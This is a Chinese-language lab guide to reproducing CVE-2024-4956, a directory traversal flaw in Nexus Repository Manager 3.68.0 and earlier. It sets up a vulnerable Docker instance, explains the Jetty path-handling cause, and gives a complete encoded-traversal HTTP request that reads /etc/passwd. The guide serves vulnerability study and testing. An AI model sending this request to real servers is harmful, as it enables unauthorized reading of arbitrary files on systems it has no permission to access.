Aaron
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Nexus Repository Manager 3 未授权目录穿越漏洞（CVE-2024-4956）
Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET等软件源仓库。
其3.68.0及之前版本中，存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。
参考链接：
漏洞环境
执行如下命令启动一个Nexus Repository Manager version 3.68.0 版本服务器：
docker compose up -d
环境启动后，访问http://your-ip:8081即可看到Nexus的默认页面。
漏洞复现
与Orange Tsai在Blackhat US 2018分享的SpringMVC CVE-2018-1271漏洞类似，Jetty的URIUtil.canonicalPath()函数也将空字符串认为是一个合法目录，导致了该漏洞的产生：
发送如下请求来复现漏洞：
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
可见，/etc/passwd已被成功读取：
